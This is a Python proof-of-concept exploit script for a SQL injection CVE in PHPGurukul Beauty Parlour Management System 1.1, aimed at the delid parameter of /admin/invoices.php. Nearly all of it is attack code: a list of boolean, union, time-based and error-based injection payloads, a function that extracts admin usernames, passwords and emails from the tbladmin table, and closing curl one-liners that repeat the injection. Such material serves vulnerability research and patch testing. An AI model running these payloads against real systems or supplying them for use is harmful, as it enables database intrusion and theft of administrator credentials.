# CVE-2025-11416 PoC - SQL Injection in PHPGurukul Beauty Parlour Management System 1.1
# Vulnerable file: /admin/invoices.php
# Vulnerable parameter: delid
import requests
TARGET_URL = "http://target.com" # Replace with actual target
VULNERABLE_ENDPOINT = "/admin/invoices.php"
def exploit_sqli(target_url):
"""
Exploit SQL injection via delid parameter in invoices.php
"""
session = requests.Session()
# Step 1: Test basic connectivity
url = target_url + VULNERABLE_ENDPOINT
# Step 2: Inject SQL payload via delid parameter
# Payload to extract database version using UNION-based injection
payloads = [
# Boolean-based test
{"delid": "1' AND '1'='1"},
{"delid": "1' AND '1'='2"},
# Union-based injection to extract data
{"delid": "1' UNION SELECT 1,user(),database(),version(),5,6,7,8,9,10-- -"},
# Extract current user
{"delid": "1' UNION SELECT NULL,user(),NULL-- -"},
# Extract database name
{"delid": "1' UNION SELECT NULL,database(),NULL-- -"},
# Extract table names from information_schema
{"delid": "1' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- -"},
# Time-based blind injection test
{"delid": "1' AND SLEEP(5)-- -"},
# Error-based injection
{"delid": "1' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- -"},
]
for i, payload in enumerate(payloads):
try:
print(f"\n[*] Testing payload #{i+1}")
response = session.get(url, params=payload, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Length: {len(response.text)}")
# Check for SQL errors in response
if "error" in response.text.lower() or "warning" in response.text.lower():
print("[+] SQL Error detected - vulnerability confirmed!")
# Display relevant response content
if response.status_code == 200:
# Extract potential data from response
if "mysql" in response.text.lower():
print("[+] MySQL data leaked in response")
except requests.exceptions.Timeout:
print("[+] Timeout detected - possible time-based blind SQLi")
except Exception as e:
print(f"[-] Error: {e}")
def extract_admin_credentials(target_url):
"""
Attempt to extract admin credentials from database
"""
url = target_url + VULNERABLE_ENDPOINT
# Payload to extract admin table contents
payload = {
"delid": "1' UNION SELECT NULL,username,password,email,5,6,7,8,9,10 FROM tbladmin-- -"
}
try:
response = requests.get(url, params=payload, timeout=10)
if response.status_code == 200:
print("[+] Admin credentials extraction response received")
# Parse response for credentials
return response.text
except Exception as e:
print(f"[-] Error: {e}")
return None
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-11416 - SQL Injection PoC")
print("PHPGurukul Beauty Parlour Management System 1.1")
print("=" * 60)
# Run exploitation
exploit_sqli(TARGET_URL)
# Attempt credential extraction
creds = extract_admin_credentials(TARGET_URL)
if creds:
print(f"\n[+] Extracted data: {creds[:500]}")
# Manual exploitation example using curl:
# curl "http://target.com/admin/invoices.php?delid=1' UNION SELECT NULL,user(),database()-- -"
# curl -X POST "http://target.com/admin/invoices.php" -d "delid=1' OR '1'='1'-- -"